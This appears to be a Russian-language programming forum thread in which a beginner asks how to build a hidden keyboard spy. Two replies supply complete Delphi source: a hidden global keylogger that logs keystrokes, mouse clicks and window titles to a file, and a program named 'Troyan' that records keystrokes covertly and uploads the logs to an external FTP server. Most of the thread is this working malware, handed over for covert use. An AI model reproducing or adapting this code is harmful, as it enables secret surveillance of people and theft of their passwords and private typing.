Пытаюсь написать прогу которая перехватывает нажатия клавиш клавиатуры и записует в текстовый файл, но

[evg_reg35]

... появилась проблема. Сразу оговорюсь что я начинающий и мне нужно все подробно объяснить чтобы до меня дошло. Програма создает текстовый файл и записывает туда значение нажатых клавиш с помощью их кодов. Это все работает если окно формы активно, а если ее свернуть, то ничего не работает. А мне надо чтобы форму скрыть и она всегда должна быть активной, но при этом не мешать работе другим приложениям. Т.е. чтобы получился клавиатурный шпион. Подскажите пожалуйста есть ли такая возможность? (только по подробнее)

[vitalik007]

ОО как раз сегодня от нефиг делать написал!На исходник

[mihali4]

Подскажите пожалуйста есть ли такая возможность? (только по подробнее)

Объясняю, и очень подробно:
поиском по форуму по словам "клавиатурный шпион" вы найдете столько информации, что, может быть, поймете, зачем этот самый поиск сделан для вас и почему есть прямой резон им пользоваться...

[evg_reg35]

спасибо всем

[Terran]

Можешь сделать вот так:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Edit27KeyPress(Sender: TObject; var Key: Char);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);

private
{ Private declarations }
public
{ Public declarations }
end;

Var
Form1: TForm1;
HookHandle: HHook;
L: TextFile;
Sh,Ct: Boolean;
FormN: String;

implementation

{$R *.dfm}

Function Deshifr(Value: String): Boolean;
Var I: Integer;
Begin
I:=StrToInt(Value);
Case I Of
21088: Write(L, '0');
21358: Write(L, '.');
20075: Write(L, '+');
20321: Write(L, '1');
20578: Write(L, '2');
20835: Write(L, '3');
19300: Write(L, '4');
19557: Write(L, '5');
19814: Write(L, '6');
18279: Write(L, '7');
18536: Write(L, '8');
18793: Write(L, '9');
19053: Write(L, '-');
13679: Write(L, '/');
23387: Write(L, 'Windows');
17683: Write(L, 'Pause Break');
18065: Write(L, 'Scroll Lock');
14124: Write(L, 'Print Screen SysRq');
22651: Write(L, 'F12');
22394: Write(L, 'F11');
17529: Write(L, 'F10');
17272: Write(L, 'F9');
17015: Write(L, 'F8');
16758: Write(L, 'F7');
16501: Write(L, 'F6');
16244: Write(L, 'F5');
15987: Write(L, 'F4');
15730: Write(L, 'F3');
15473: Write(L, 'F2');
15216: Write(L, 'F1');
3849: Write(L, 'TAB');
14868: Write(L,'Caps Lock');
17808: Write(L,'Num Lock');
1075: Write(L,'3');
10170: Write(L,';');
10462: Write(L,' "/2 ');
10688: Write(L,'`');
11228: Write(L,'\');
11354: Write(L,'z');
11608: Write(L,'x');
11843: Write(L,'c');
12118: Write(L,'v');
12354: Write(L,'b');
12622: Write(L,'n');
12877: Write(L,'m');
13244: Write(L,',');
1332: Write(L,'4');
13502: Write(L,'.');
13759: Write(L,'/');
14186: Write(L,'*');
14624: Write(L,' "_" ');
1589: Write(L,'5');
18212: Writeln(L,' Home ');
1846: Write(L,'6');
18470: Writeln(L,' Up ');
18721: Writeln(L,' PageUp ');
19237: Writeln(L,' Left ');
19751: Writeln(L,' Right ');
20259: Writeln(L,' End ');
20520: Writeln(L,' Down ');
20770: Writeln(L,' PageDown ');
21037: Writeln(L,' Insert ');
2103: Write(L,'7');
21294: Writeln(L,' Delete ');
2360: Write(L,'8');
2617: Write(L,'9');
283: Write(L,' Escape ');
2864: Write(L,'0');
3261: Write(L,'-');
3515: Write(L,'=');
3592: Write(L,' Backspace ');
4177: Write(L,'q');
4439: Write(L,'w');
4677: Write(L,'e');
4946: Write(L,'r');
5204: Write(L,'t');
5465: Write(L,'y');
561: Write(L,'1');
5717: Write(L,'u');
5961: write(L,'i');
6223: Write(L,'o');
6480: Write(L,'p');
6875: Write(L,'[');
7133: Write(L,']');
7181: Writeln(L,' Enter ');
7745: Write(L,'a');
8019: Write(L,'s');
818: Write(L,'2');
8260: Write(L,'d');
8518: Write(L,'f');
8775: Write(L,'g');
9032: Write(L,'h');
9290: Write(L,'j');
9547: Write(L,'k');
9804: Write(L,'l');
Else Writeln(L,Inttostr(I));
End;
End;
Function HookProc(Code: Integer; WParam: Word; LParam: Longint): Longint; Stdcall;
Var Msg: PEVENTMSG;
Formname: Array[0..255] Of Char;
S: String;
Begin
If Code>=0 Then
Begin
Result:=0;
Msg:=Pointer(LParam);
If GetWindowText(WindowFromPoint(Mouse .CursorPos),Formname,255)<>0
Then If FormN<>Formname Then
Begin
FormN:=Formname;
Writeln(L,formN)
End;
With Form1 Do
Case Msg.Message Of
WM_LBUTTONDOWN:Writeln(L,'L-mouse');
WM_RBUTTONDOWN:Writeln(L,'R-mouse');
WM_KEYDOWN:
Begin
If Inttostr(Msg.ParamL)='10768'
Then
Begin
If Not Sh Then Writeln(L,'Shift-down');
Sh:=True
End;
If Inttostr(Msg.ParamL)='7441' Then
Begin
If Not Ct Then
Writeln(L,'Ctrl-down');
Ct:=True
End;
If (Inttostr(Msg.ParamL)<>'10768')And
(Inttostr(Msg.ParamL)<>'7441')
Then Deshifr(Inttostr(Msg.ParamL));
End;
WM_KEYUP:
Begin
If Inttostr(Msg.ParamL)='10768' Then
Begin
Writeln(L,'Shift-up');
Sh:=False
End;
If Inttostr(Msg.ParamL)='7441' Then
Begin
Writeln(L,'Ctrl-up');
Ct:=False
End;
End;
End;
End
Else
Result:=CallNextHookEx(HookHandle,C ode,WParam,LParam);
End;
Procedure TForm1.FormCreate(Sender: TObject);
Begin
application.ShowMainForm:=False;
HookHandle:=SetWindowsHookEx(WH_JOU RNALRECORD,@HookProc,
HInstance,0);
Assignfile(L,'C:\keylogger.txt');
Rewrite(L);
Sh:=False;
Ct:=False;
FormN:='';
End;
Procedure TForm1.FormDestroy(Sender: TObject);
Begin
If HookHandle<>0 then
UnhookWindowsHookEx(HookHandle);
End;
Procedure TForm1.Edit27KeyPress(Sender: TObject; Var Key: Char);
Begin
Writeln(L,Key)
End;
Procedure TForm1.FormCloseQuery(Sender: TObject; Var CanClose: Boolean);
Begin
If HookHandle<>0 Then
UnhookWindowsHookEx(HookHandle);
Closefile(L);
End;
End.

[evg_reg35]

Terran, благодарю.

[dimonbest]

Сообщение от Terran

Можешь сделать вот так:

unit Unit1;

interface
................................... ...

End.

А если эту программу сделать ввиде службы, будет работать?

[Dj_smart]

Вот шпион, делает всё это и еще отправляет эти файлы на ФТП сервер narod.ru (обратите внимание на логин и пароль).

program Troyan;

uses sysutils,wininet,Windows,Messages,WinCls,Registry,ShellApi;

const
 name = 'Ip';
 ras  = '.ini';

var
  HookHandle: hHook;
  fn,f: file of Char;
  line: longint;
  hApp: THandle;
  wClass: TWndClass;
  wMSG: TMSG;
  conn_param,inet_open : hinternet;
  n:word;
  io,io2:string;
  a1,a2:pchar;
  i:longint;
function strtoPchar(s:string):Pchar;
begin
  S := S+#0;
  result:=StrPCopy(@S[1], S) ;
end;

function getftpname:pchar;
var ee:string;
begin
  ee:=name+inttostr(random(65300))+ras;
  result:=strtoPchar(ee);
end;

function Win32Check(RetVal: BOOL): BOOL;
begin
  if not RetVal then GetLastError;
  Result := RetVal;
end;

procedure upload(filename,ftpfilename:pchar);
const
port=21;
begin
 inet_open := internetopen('iexplore',INTERNET_OPEN_TYPE_DIRECT,nil,nil,0);
 conn_param := internetconnect(inet_open,'ftp.narod.ru',port,'логин','пароль',INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0);
 sleep(100);
 ftpputfile(conn_param,filename,ftpfilename,FTP_TRANSFER_TYPE_UNKNOWN,0);
 internetclosehandle(conn_param);
 internetclosehandle(inet_open) ;
END;

function GetCharFromVKey(vkey: Word): string;
var
  keystate: TKeyboardState;
  retcode: Integer;
begin
  Win32Check(GetKeyboardState(keystate));
  SetLength(Result, 2);
  retcode := ToAscii(vkey,MapVirtualKey(vkey, 0),keystate, @Result[1],0);
  case retcode of
    0: Result := '';
    1: SetLength(Result, 1);
    2: ;
    else
      Result := '';
  end;
end;
function IntToStr(Int: integer): string;
begin
 Str(Int, result);
end;

function FileExists(const FileName : String) : Boolean;
var
 Code: Integer;
begin
 Code := GetFileAttributes(PChar(FileName));
 Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;

function GetName: string;
begin
 repeat
  i:=random(1234567);
 until not FileExists(name+IntToStr(i)+ras);
 Result:=name+IntToStr(i)+ras;
 io:=name+IntToStr(i)+ras;
end;

function HookProc(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
  msg: PEVENTMSG;
  b: Char;
  s: string;
begin
  if Code >= 0 then
  begin
    result := 0;
    msg := Pointer(LParam);
    if msg.message=WM_KEYDOWN then
    begin
     Inc(line);
     s:=GetCharFromVKey(msg.paramL);
     if Length(s)>0 then
     begin
      b:=s[1];
      if (line mod 80)=0 then BlockWrite(fn,#10#13,2);
      BlockWrite(fn,b,1);
     end;
    end;
    if FileSize(fn)>1024 then
    begin
     CloseFile(fn);
     a1:=strtopchar(io);
     upload(a1,a1);
     AssignFile(fn,GetName);
     ReWrite(fn);

    end;
    result := CallNextHookEx(HookHandle, code, WParam, LParam);
  end;
end;

procedure UnhookMyHook;
begin
  if HookHandle <> 0 then
    UnhookWindowsHookEx(HookHandle);
end;

procedure SetMyHook;
begin
 repeat
  HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);
 until HookHandle<>0;
end;


function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
 Result := 0;
  case Msg of
   WM_CREATE:
   begin
    if not FileExists('c:\windows\keyh.exe') then
    begin
     halt(0);
    end;
    line:=0;
    AssignFile(fn,GetName);
    ReWrite(fn);
    SetMyHook;
   end;
   WM_DESTROY:
   begin
    UnhookMyHook;
    CloseFile(fn);
    halt(0);
   end;
 end;
 Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;

begin
  randomize;
  i:=random(1234567);
  wClass:=WndClass1(hInstance,0,0,0,0,0,COLOR_BTNFACE,'MYCLASS','',@WndMessageProc);
  RegisterClass(wClass);
  hApp:=CreateWindow(wClass.lpszClassName, '',0,
  Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),
  0, 0, 0, 0, hInstance, nil);
  if hApp=0 then
  begin
   UnregisterClass('MYCLASS',hInstance);
   halt(0);
  end;
  loopWindow(wMsg);
end.

[dimonbest]

Можно несколько вопросов по коду (в DELPHI не силен):
1. пишет что не найден файл WinCls.dcu где его взять?
2.

FileExists('c:\windows\keyh.exe')

При чем сдесь эта программа?

[Dj_smart]

2. Действительно непричём. Так, остаток.
1. Возмите в файле